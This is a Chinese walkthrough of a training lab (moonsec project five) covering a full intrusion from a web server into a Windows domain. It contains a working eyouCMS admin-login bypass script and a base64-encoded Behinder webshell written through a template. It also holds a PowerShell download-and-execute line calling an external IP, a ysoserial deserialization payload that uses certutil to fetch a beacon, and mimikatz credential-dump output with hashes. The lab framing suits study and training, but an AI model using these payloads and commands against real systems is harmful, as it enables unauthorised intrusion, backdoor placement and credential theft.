靶场介绍

本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

这个是暗月渗透测试第五项目,本项目主要考核从外网web到内网域渗透的能力,主要考核内容包括以下:

web: php代码审计 、java反序列化漏洞利用等。
内网:隧道应用、横向渗透、域渗透等 。

配置信息

主机名 账号和密码 ip
ad 域管理 vsmoon/administrator QWEasd…123
域通用户 vsmoon/data QWEasd…444
10.10.10.137
data 管理员 administrator 密码 QWEasd12300 192.168.22.146
10.10.10.136
web 管理员账号 administrator QWEadmin123 mysql账号和密码 mysql
root root123.123 网站账号 admin 密码 !@#AAA112
192.168.0.116
192.168.22.152

拓扑图

外网打点

端口扫描

# nmap -p 1-65535 -T4 -A -v 216.224.123.190Not shown: 65524 filtered tcp ports (no-response)PORT      STATE SERVICE              VERSION80/tcp    open  http?5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found7000/tcp  open  ssl/afs3-fileserver?|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: | Issuer: | Public Key type: rsa| Public Key bits: 1024| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 1-01-01T00:00:00| Not valid after:  1-01-01T00:00:00| MD5:   9578d3a2934439723ebe50c0fca62eda|_SHA-1: 01228061f6921fb5fda6aebedc0c44b3230a76ea|_irc-info: Unable to open connection47001/tcp open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49152/tcp open  msrpc                Microsoft Windows RPC49153/tcp open  msrpc                Microsoft Windows RPC49154/tcp open  msrpc                Microsoft Windows RPC49155/tcp open  msrpc                Microsoft Windows RPC49157/tcp open  msrpc                Microsoft Windows RPC49158/tcp open  msrpc                Microsoft Windows RPC55999/tcp open  ssl/unknown|_ssl-date: 2022-10-02T15:08:01+00:00; +4s from scanner time.| ssl-cert: Subject: commonName=HHQtTJ4985| Issuer: commonName=HHQtTJ4985| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha1WithRSAEncryption| Not valid before: 2022-09-04T07:49:04| Not valid after:  2023-03-06T07:49:04| MD5:   c593fdc4f2e205202272ef72eba96874|_SHA-1: 0251ccabdabda2dbfc4aa4dadd111d733b940b74Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

端口扫描没有看到什么有用的东西,只有一个 80 端口是可以访问的。

网站信息收集

访问网站在网站下面发现为eyoucms 。

在百度搜索相关漏洞,可能存在 eyouCMS 1.5.2 前台getshell 漏洞

文章地址:https://www.cnblogs.com/1jzz/p/15489724.html

已知的后台登录地址:

http://216.224.123.190/login.php?s=Admin/login

PHP代码审计绕过登录进后台

我们先去官网下载对应的版本,设置 xdebug 用 Phpstorm 进行代码审计。

# php.ini xdebug 设置[Xdebug]
zend_extension=C:/Penetration/TrafficTools/phpStudyV8/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=Off
xdebug.trace_output_dir=C:/Penetration/TrafficTools/phpStudyV8/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=Off
xdebug.profiler_output_dir ="C:/Penetration/TrafficTools/phpStudyV8/Extensions/tmp/xdebug"
xdebug.remote_enable=Off
xdebug.remote_host=localhost
xdebug.remote_port=9000
xdebug.remote_handler=dbgp
xdebug.remote_autostart=1
xdebug.remote_enable=On
xdebug.idekey="PHPSTORM"

Phpstorm 设置

后台登录判断

路径: application/admin/controller/Base.php

public function _initialize() {$this->session_id = session_id(); // 当前的 session_id!defined('SESSION_ID') && define('SESSION_ID', $this->session_id); //将当前的session_id保存为常量,供其它方法调用parent::_initialize();//过滤不需要登陆的行为$ctl_act = CONTROLLER_NAME.'@'.ACTION_NAME;$ctl_all = CONTROLLER_NAME.'@*';$filter_login_action = config('filter_login_action');if (in_array($ctl_act, $filter_login_action) || in_array($ctl_all, $filter_login_action)) {//return;}else{$web_login_expiretime = tpCache('web.web_login_expiretime');empty($web_login_expiretime) && $web_login_expiretime = config('login_expire');$admin_login_expire = session('admin_login_expire'); // 登录有效期web_login_expiretime// 验证登录if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime) {session('admin_login_expire', getTime()); // 登录有效期$this->check_priv();//检查管理员菜单操作权限}else{/*自动退出*/adminLog('访问后台');session_unset();session::clear();cookie('admin-treeClicked', null); // 清除并恢复栏目列表的展开方式/*--end*/if (IS_AJAX) {$this->error('登录超时!');} else {$url = request()->baseFile().'?s=Admin/login';$this->redirect($url);}}}/* 增、改的跳转提示页,只限制于发布文档的模型和自定义模型 */$channeltype_list = config('global.channeltype_list');$controller_name = $this->request->controller();$this->assign('controller_name', $controller_name);if (isset($channeltype_list[strtolower($controller_name)]) || 'Custom' == $controller_name) {if (in_array($this->request->action(), ['add','edit'])) {\think\Config::set('dispatch_success_tmpl', 'public/dispatch_jump');$id = input('param.id/d', input('param.aid/d'));('GET' == $this->request->method()) && cookie('ENV_IS_UPHTML', 0);} else if (in_array($this->request->action(), ['index'])) {cookie('ENV_GOBACK_URL', $this->request->url());cookie('ENV_LIST_URL', request()->baseFile()."?m=admin&c={$controller_name}&a=index&lang=".$this->admin_lang);}}if ('Archives' == $controller_name && in_array($this->request->action(), ['index_archives'])) {cookie('ENV_GOBACK_URL', $this->request->url());cookie('ENV_LIST_URL', request()->baseFile()."?m=admin&c=Archives&a=index_archives&lang=".$this->admin_lang);}/* end */}

其中最重要的代码为

// 验证登录if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime) {session('admin_login_expire', getTime()); // 登录有效期$this->check_priv();//检查管理员菜单操作权限

这里的判断为是否能够登录,成功后会设置登录的有效期。

其中的 check_priv 函数是验证我们是否拥有管理员权限的。

public function check_priv(){$ctl = CONTROLLER_NAME;$act = ACTION_NAME;$ctl_act = $ctl.'@'.$act;$ctl_all = $ctl.'@*';//无需验证的操作$uneed_check_action = config('uneed_check_action');if (0 >= intval(session('admin_info.role_id'))) {//超级管理员无需验证return true;} else {$bool = false;/*检测是否有该权限*/if (is_check_access($ctl_act)) {$bool = true;}/*--end*//*在列表中的操作不需要验证权限*/if (IS_AJAX || strpos($act,'ajax') !== false || in_array($ctl_act, $uneed_check_action) || in_array($ctl_all, $uneed_check_action)) {$bool = true;}/*--end*///检查是否拥有此操作权限if (!$bool) {$this->error('您没有操作权限,请联系超级管理员分配权限');}}}

这里可以看到如果 0 >= intval(session('admin_info.role_id')) 成立就直接返回 true 。

到这里我们还看不出来有什么漏洞,个人理解漏洞在于 application/admin/controller/Ajax.php 中的 get_token 方法,其中的 $name 是我们可以控制的并且还进行了md5的加密。

application/admin/controller/Ajax.php

public function get_token($name = '__token__'){if (IS_AJAX) {echo $this->request->token($name);exit;} else {abort(404);}}

我们再跟一下 token 函数

public function token($name = '__token__', $type = 'md5'){$type  = is_callable($type) ? $type : 'md5';$token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);if ($this->isAjax()) {header($name . ': ' . $token);}Session::set($name, $token);return $token;}

REQUEST_TIME_FLOAT 为服务器的时间戳

这里还有一个小细节,这里有一个函数 isAjax 用于验证是否是 Ajax 请求,我们跟进看一下具体实现。

public function isAjax($ajax = false){$value  = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');$result = ('xmlhttprequest' == $value) ? true : false;if (true === $ajax) {return $result;} else {$result           = $this->param(Config::get('var_ajax')) ? true : $result;$this->mergeParam = false;return $result;}}

可以看到它只是判断了我们请求头中有没有 X_REQUESTED_WITH 并且值为 xmlhttprequest,这个很好绕过,我们在请求的时候抓包添加一下就行了。

到这里有的人就有点懵了,这怎么就绕过登录了呢,我们先来梳理一下绕过流程:

  • 1.首先判断 session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime 这里决定我们能不能登录
  • 2.然后判断 (0 >= intval(session('admin_info.role_id'))) 这里决定我们是否是管理员权限

其中的 admin_login_expireadmin_idadmin_info.role_id 都是在 session 中取出来的,本来代码没有什么问题但是在 get_token函数中我们能控制传入的 name,如果我们给它传入 admin_login_expireadmin_idadmin_info.role_id 我们就变相的控制了这三个变量的值。

并且设置的 session 的 name 值还进行了MD5的加密,在 php 中使用 intval 类型转换如果失败就会返回 0。具体的东西可以在网上搜索一下 intval的用法。

我们想一下如果admin_id有值并且 admin_login_expireadmin_info.role_id都为 0,是不是就满足了上面的两个条件了呢。

那剩下的利用就简单了,先给admin_id一个值再编写一个脚本不断请求修改 admin_login_expireadmin_info.role_id 直到找到符合条件的值,然后使用成功的 PHPSESSION 去替换我们的 PHPSESSION 进行登录。

python 编写脚本登录后台

# -*- coding:utf-8 -*-
from time import timeimport requests
import re# 定义 header 头, 绕过 isAjax
header = {'x-requested-with': 'xmlhttprequest'}# 定义一个 requests 会话
request = requests.session()PHPSESSION = ""# 绕过第一个判断
def get_session(url):global PHPSESSION# 设置 admin_id 并且,获取 PHPSESSIONpayload = '/index.php'result = request.get(url=url + payload, headers=header)# 获取PHPSESSIONprint("[+] PHPSESSION = " + re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0])PHPSESSION = re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0]def set_admin_id(url):# 设置一个 admin_id 以绕过,第一个条件payload = '/index.php?m=api&c=ajax&a=get_token&name=admin_id'result = request.get(url=url + payload, headers=header).textprint(f"[+] 正在设置 admin_id -> [{result}]")def set_admin_login_expire(url):payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_login_expire"while True:result = request.get(url=url + payload, headers=header).text# 第二个判断条件,判断登录是否在一小时里if (time() - int(change(result), 10) < 3600):print("[+] admin_login_expire = " + result)breakprint(f"[INFO] 正在爆破 admin_login_expire -> [{result}]")def set_admin_info_role_id(url):payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_info.role_id"while True:result = request.get(url=url + payload, headers=header).text# 第三个判断条件,判断是否是管理员权限if (int(change(result), 10) <= 0):print("[+] admin_login_expire = " + result)breakprint(f"[INFO] 正在爆破 admin_info.role_id -> [{result}]")def check_login(url):payload = "login.php?m=admin&c=System&a=web&lang=cn"result = request.get(url=url + payload).textif "网站LOGO" in result:print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录成功!")else:print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录失败!")# 如果第一个字符为字母就直接返回0,不是则直到找到字母,并且返回前面不是字母的字符
def change(string):temp = ''for n, s in enumerate(string):if n == 0:if s.isalpha():return '0'breakif s.isdigit():temp += str(s)else:if s.isalpha():breakreturn tempdef run(url):# 开始计时time_start = time()get_session(url)set_admin_id(url)set_admin_login_expire(url)set_admin_info_role_id(url)check_login(url)print(f"[+] PHPSESSION = {PHPSESSION}")# 结束计时time_end = time()print(f"[+] 总共用时 {int(time_end) - int(time_start)} s")if __name__ == '__main__':url = "http://192.168.0.116/"run(url)

后台 getshell

通过在网上的信息收集,使用 eyoucms 1.5.5 后台任意命令执行漏洞 getshell。

文章地址:https://blog.csdn.net/miuzzx/article/details/122235070

先使用脚本登录进后台

在模板管理中的index.htm插入,写入冰蝎马的代码。

<?=file_put_contents("./uploads/allimg/sx.php",base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZGZmZjBhN2ZhMWE1NWM4YyI7IAoJJF9TRVNTSU9OWydrJ109JGtleTsKCXNlc3Npb25fd3JpdGVfY2xvc2UoKTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiKiIsIj0iLCRwb3N0KTsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiIyIsJGtleVswXSwkcG9zdCk7CgkJJHQ9ImJhc2U2NF8iLiJkZWNvZGUiOwoJCSRwb3N0PSR0KCRwb3N0LiIiKTsKCQlmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHsKICAgIAkJJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiKiIsIj0iLCRwb3N0KTsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiIyIsJGtleVswXSwkcG9zdCk7CgkJJHBvc3Q9b3BlbnNzbF9kZWNyeXB0KCRwb3N0LCAiQUVTMTI4IiwgJGtleSk7CgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCSRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAl9Cgl9CgkKICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9faW52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgIEBjYWxsX3VzZXJfZnVuYyhuZXcgQygpLCRwYXJhbXMpOwo/Pgo="));

然后访问 http://192.168.0.116/index.php 生成冰蝎马,使用冰蝎进行连接密码 cmd。

上线 cs

使用 powershell 上线cs。

powershell IEX ((new-object net.webclient).downloadstring('http://43.143.15.244:7777/a'))

内网渗透

信息收集

网卡信息收集

beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes
[+] received output:Windows IP 配置以太网适配器 Ethernet1:连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::1dbf:ab65:be0f:f2d6%14IPv4 地址 . . . . . . . . . . . . : 192.168.22.152子网掩码  . . . . . . . . . . . . : 255.255.255.0默认网关. . . . . . . . . . . . . : 以太网适配器 Ethernet0:连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::c5e2:88c3:ca01:b8eb%12IPv4 地址 . . . . . . . . . . . . : 192.168.0.116子网掩码  . . . . . . . . . . . . : 255.255.255.0默认网关. . . . . . . . . . . . . : 192.168.0.2隧道适配器 isatap.{EB347315-9EA8-47D0-99FC-1F4625727AAC}:媒体状态  . . . . . . . . . . . . : 媒体已断开连接特定的 DNS 后缀 . . . . . . . : 隧道适配器 isatap.{AF68560E-849D-46A8-8A5D-9BD78D0C2A97}:媒体状态  . . . . . . . . . . . . : 媒体已断开连接特定的 DNS 后缀 . . . . . . . : 

存在两个网段 192.168.22.0/24 、192.168.0.0/24

使用fscan扫描网段

使用cs的插件 LSTAR 上传 fscan 进行扫描。

# fscan.exe -h 192.168.22.1/24 -o out.txt
[+] received output:___                              _    / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.6.3
start infoscan
(icmp) Target '192.168.22.152' is alive
(icmp) Target '192.168.22.146' is alive
(icmp) Target '192.168.22.1' is alive
icmp alive hosts len is: 3
192.168.22.146:135 open
192.168.22.152:139 open
192.168.22.152:3306 open
192.168.22.146:445 open
192.168.22.152:445 open
192.168.22.146:139 open
192.168.22.1:443 open
192.168.22.152:135 open
192.168.22.152:80 open
192.168.22.146:9999 open
alive ports len is: 10
start vulscan
NetInfo:
[*]192.168.22.152[->]web[->]192.168.0.116[->]192.168.22.152
NetInfo:
[*]192.168.22.146[->]data[->]10.10.10.136[->]192.168.22.146
[*] 192.168.22.152       WORKGROUP\WEB               Windows Server 2012 R2 Standard 9600
[*] WebTitle:http://192.168.22.152     code:200 len:39     title:鍝嶅簲寮忛挘閲戣澶囧埗閫犵綉绔欐ā鏉�
[*] WebTitle:https://192.168.22.1      code:403 len:0      title:None
[*] 192.168.22.146       VSMOON\DATA              Windows Server 2012 R2 Standard 9600[+] received output:

看到存在 192.168.22.146 ,继续进行详细的端口扫描。

# fscan.exe -h 192.168.22.146 -np -p 1-65535 -o out.txt
# 加上 -np 的参数让它不要 ping 直接进行扫描
[+] received output:___                              _    / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.6.3
start infoscan
192.168.22.146:139 open
192.168.22.146:135 open
192.168.22.146:445 open[+] received output:
192.168.22.146:5985 open[+] received output:
192.168.22.146:9999 open[+] received output:
192.168.22.146:47001 open[+] received output:
192.168.22.146:49159 open
192.168.22.146:49158 open
192.168.22.146:49157 open
192.168.22.146:49156 open
192.168.22.146:49155 open
192.168.22.146:49154 open
192.168.22.146:49153 open
192.168.22.146:49152 open[+] received output:
alive ports len is: 14
start vulscan[+] received output:
[*] WebTitle:http://192.168.22.146:5985 code:404 len:315    title:Not Found
[*] WebTitle:http://192.168.22.146:47001 code:404 len:315    title:Not Found
NetInfo:
[*]192.168.22.146[->]data[->]10.10.10.136[->]192.168.22.146
[*] 192.168.22.146       VSMOON\DATA              Windows Server 2012 R2 Standard 9600[+] received output:

从端口上没有看到可以利用的点。当时在考核的时候一直没发现突破点,直到我使用rdp登录到桌面结合月师傅说第二台考验的是Java反序列化才发现了突破点。

桌面上存在一个 QQclient.jar的 Java 文件并且还有账号密码。

beacon> shell type C:\Users\Administrator\Desktop\帐号.txt
[*] Tasked beacon to run: type C:\Users\Administrator\Desktop\帐号.txt
[+] host called home, sent: 75 bytes
[+] received output:
moonsec 123456
100 123456

除了截图桌面和登录系统,我们还可以使用 netstat -ano 查看可疑的程序连接

# netstat -ano
活动连接协议  本地地址          外部地址        状态           PIDTCP    0.0.0.0:80             0.0.0.0:0              LISTENING       7156TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       588TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       6416TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING       400TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING       696TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING       752TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING       992TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING       1052TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING       496TCP    0.0.0.0:49158          0.0.0.0:0              LISTENING       5828TCP    0.0.0.0:49161          0.0.0.0:0              LISTENING       504TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       1052TCP    192.168.0.116:53       0.0.0.0:0              LISTENING       1052TCP    192.168.0.116:139      0.0.0.0:0              LISTENING       4TCP    192.168.0.116:49163    61.160.204.189:80      CLOSE_WAIT      7112TCP    192.168.0.116:57694    43.143.15.244:6677     SYN_SENT        6244TCP    192.168.22.152:53      0.0.0.0:0              LISTENING       1052TCP    192.168.22.152:139     0.0.0.0:0              LISTENING       4TCP    192.168.22.152:52440   192.168.22.146:9999    FIN_WAIT_2      5268TCP    192.168.22.152:52479   192.168.22.146:9999    FIN_WAIT_2      5268TCP    192.168.22.152:55078   192.168.22.146:9999    FIN_WAIT_2      5708TCP    192.168.22.152:64100   192.168.22.146:9999    FIN_WAIT_2      5708TCP    [::]:80                [::]:0                 LISTENING       7156TCP    [::]:135               [::]:0                 LISTENING       588TCP    [::]:445               [::]:0                 LISTENING       4TCP    [::]:3306              [::]:0                 LISTENING       6416TCP    [::]:5985              [::]:0                 LISTENING       4TCP    [::]:47001             [::]:0                 LISTENING       4TCP    [::]:49152             [::]:0                 LISTENING       400TCP    [::]:49153             [::]:0                 LISTENING       696TCP    [::]:49154             [::]:0                 LISTENING       752TCP    [::]:49155             [::]:0                 LISTENING       992TCP    [::]:49156             [::]:0                 LISTENING       1052TCP    [::]:49157             [::]:0                 LISTENING       496TCP    [::]:49158             [::]:0                 LISTENING       5828TCP    [::]:49161             [::]:0                 LISTENING       504TCP    [::1]:53               [::]:0                 LISTENING       1052TCP    [fe80::1dbf:ab65:be0f:f2d6%14]:53  [::]:0                 LISTENING       1052TCP    [fe80::c5e2:88c3:ca01:b8eb%12]:53  [::]:0                 LISTENING       1052

这里同样可以看到与 192.168.22.146:9999 的可疑连接。

Java代码审计 反序列化分析

我们在cs上下载 QQclient.jar 进行反编译分析

我们使用 jdGUI 打开 jar 包

关于Java反序列化,我们可以直接全局搜索函数 writeObjectreadObject

通过全局搜索函数找到了以下的代码

public boolean checkUser(String userId, String pwd){this.u.setUserId(userId);this.u.setPasswd(pwd);boolean b = false;try{this.socket = new Socket(InetAddress.getByName("192.168.22.146"), 9999);ObjectOutputStream oos = new ObjectOutputStream(this.socket.getOutputStream());oos.writeObject(this.u);ObjectInputStream ois = new ObjectInputStream(this.socket.getInputStream());Message ms = (Message)ois.readObject();if (ms.getMesType().equals("1")){ClientConnectServerThread ClientConnectServerThread = new ClientConnectServerThread(this.socket);ClientConnectServerThread.start();ManageClientConnectServerThread.addClientConnectServerThread(userId, ClientConnectServerThread);b = true;}else{this.socket.close();}}catch (Exception e){e.printStackTrace();}return b;}

在代码中调用了 writeObject 方法进行序列化并且通过 socket 发送给了服务端,那我们就可以想一下服务端的代码会不会是接收 socket 然后使用 readObject 反序列化呢。

具体的服务端代码可以从 github 上搜索到,由于我的Java水平还不到家(才学到面向对象),自己写exp就算了。

具体的利用,还是直接使用网上的工具吧。

反序列化利用 上线cs

cs 生成转发上线的木马

我们把生成的木马上传到 web 的网站根目录,一会利用反序列化直接下载执行上线cs。

这里要想利用反序列化我们需要先确定服务端的Java版本,这里我查看了 web 上面的版本猜测服务器上面的版本应该是一样的。

beacon> shell java -version
[*] Tasked beacon to run: java -version
[+] host called home, sent: 44 bytes
[+] received output:
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)

可以看到版本为 1.8.0_651.8.0__71以下,那么这里可能能够使用 cc1链 来执行命令。

这里我直接使用 ysoserial 来生成攻击代码。

java -jar ysoserial-0.0.5-all.jar CommonsCollections1 "certutil -urlcache -split -f http://192.168.22.152/beacon.exe C:/windows/temp/cs.exe" > re.binjava -jar ysoserial-0.0.5-all.jar CommonsCollections1 "C:/windows/temp/cs.exe" > re.bin

开启代理使用 nc 发送攻击代码

type re.bin | nc64.exe -vn 192.168.22.146 9999

因为我是Windows系统所以这里我使用 SocksCap64 来代理流量

执行下载木马的命令

运行木马

cs成功上线

第二台电脑信息收集

查看网卡

# shell ipconfig
beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes
[+] received output:Windows IP 配置以太网适配器 Ethernet1:连接特定的 DNS 后缀 . . . . . . . : IPv4 地址 . . . . . . . . . . . . : 192.168.22.146子网掩码  . . . . . . . . . . . . : 255.255.255.0默认网关. . . . . . . . . . . . . : 以太网适配器 Ethernet0:连接特定的 DNS 后缀 . . . . . . . : IPv4 地址 . . . . . . . . . . . . : 10.10.10.136子网掩码  . . . . . . . . . . . . : 255.255.255.0默认网关. . . . . . . . . . . . . : 隧道适配器 isatap.{3584A6AF-8A8B-43AF-9A7B-052489073912}:媒体状态  . . . . . . . . . . . . : 媒体已断开连接特定的 DNS 后缀 . . . . . . . : 隧道适配器 isatap.{0669B5F2-DA59-4096-B162-1871A174DEB9}:媒体状态  . . . . . . . . . . . . : 媒体已断开连接特定的 DNS 后缀 . . . . . . . :

存在 10.10.10.1/24 网段,在cs上使用插件上传 fscan 扫描内网段

# fscan.exe -h 10.10.10.1/24 -o out.txt
[+] received output:___                              _    / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.6.3
start infoscan
(icmp) Target '10.10.10.136' is alive
(icmp) Target '10.10.10.137' is alive
icmp alive hosts len is: 2
10.10.10.136:139 open
10.10.10.136:135 open
10.10.10.137:88 open
10.10.10.137:445 open
10.10.10.136:445 open
10.10.10.137:139 open
10.10.10.137:135 open
10.10.10.136:9999 open
alive ports len is: 8
start vulscan
NetInfo:
[*]10.10.10.136[->]data[->]10.10.10.136[->]192.168.22.146
[*] 10.10.10.136         VSMOON\DATA              Windows Server 2012 R2 Standard 9600
NetInfo:
[*]10.10.10.137[->]ad[->]10.10.10.137
[*] 10.10.10.137  (Windows Server 2012 R2 Standard 9600)
[*] 10.10.10.137   [+]DC __MSBROWSE__\AD                Windows Server 2012 R2 Standard 9600

初步判断 10.10.10.137 为域控

域信息收集

定位域控

beacon> shell net time /domain
[*] Tasked beacon to run: net time /domain
[+] host called home, sent: 47 bytes
[+] received output:
\\ad.vsmoon.com 的当前时间是 2022/10/16 20:43:02命令成功完成。beacon> shell ping ad.vsmoon.com
[*] Tasked beacon to run: ping ad.vsmoon.com
[+] host called home, sent: 49 bytes
[+] received output:正在 Ping ad.vsmoon.com [10.10.10.137] 具有 32 字节的数据:
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=12810.10.10.137 的 Ping 统计信息:数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):最短 = 0ms,最长 = 0ms,平均 = 0ms

成功定位到域控 10.10.10.137

尝试横向移动

抓取hash抓取明文

beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82541 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e0eaa205900fd89d4ebc9fe6176b4763:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::beacon> logonpasswords
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 297594 bytes
[+] received output:Authentication Id : 0 ; 69234 (00000000:00010e72)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-90-1msv : [00000003] Primary* Username : DATA$* Domain   : VSMOON* NTLM     : dbcf2fc907129da73618daaacfda88e8* SHA1     : 2a75e3d076e500e50799e31041af12feef4edb61tspkg :    wdigest :   * Username : DATA$* Domain   : VSMOON* Password : (null)kerberos :  * Username : DATA$* Domain   : vsmoon.com* Password : ]U;1IaK",]L2>NK_q@R"dtmq=p,K@3gpI=#*J*o13/3>A;O$/*]f'<9d1Q>=HFEC%$YE8h%6CG\tU#0B%@l"xm'8-r?^bH@V+c"pKwfKvbFCi$A`s&Sg)1D'ssp : credman :   Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DATA$
Domain            : VSMOON
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-20msv :   [00000003] Primary* Username : DATA$* Domain   : VSMOON* NTLM     : dbcf2fc907129da73618daaacfda88e8* SHA1     : 2a75e3d076e500e50799e31041af12feef4edb61tspkg :    wdigest :   * Username : DATA$* Domain   : VSMOON* Password : (null)kerberos :  * Username : data$* Domain   : vsmoon.com* Password : ]U;1IaK",]L2>NK_q@R"dtmq=p,K@3gpI=#*J*o13/3>A;O$/*]f'<9d1Q>=HFEC%$YE8h%6CG\tU#0B%@l"xm'8-r?^bH@V+c"pKwfKvbFCi$A`s&Sg)1D'ssp : credman :   Authentication Id : 0 ; 44725 (00000000:0000aeb5)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : msv :   [00000003] Primary* Username : DATA$* Domain   : VSMOON* NTLM     : dbcf2fc907129da73618daaacfda88e8* SHA1     : 2a75e3d076e500e50799e31041af12feef4edb61tspkg :    wdigest :   kerberos :  ssp :   credman :   Authentication Id : 0 ; 266563 (00000000:00041143)
Session           : Interactive from 1
User Name         : Administrator
Domain            : DATA
Logon Server      : DATA
Logon Time        : 2022/10/16 19:12:59
SID               : S-1-5-21-2857872562-3615050297-2583995794-500msv :  [00010000] CredentialKeys* NTLM     : e0eaa205900fd89d4ebc9fe6176b4763* SHA1     : 8d04efa26f0e2a54a3fbaf522076d8f217921751[00000003] Primary* Username : Administrator* Domain   : DATA* NTLM     : e0eaa205900fd89d4ebc9fe6176b4763* SHA1     : 8d04efa26f0e2a54a3fbaf522076d8f217921751tspkg :   wdigest :   * Username : Administrator* Domain   : DATA* Password : (null)kerberos :    * Username : Administrator* Domain   : DATA* Password : (null)ssp : credman :   Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-19msv :   tspkg : wdigest :   * Username : (null)* Domain   : (null)* Password : (null)kerberos : * Username : (null)* Domain   : (null)* Password : (null)ssp :  credman :   Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DATA$
Domain            : VSMOON
Logon Server      : (null)
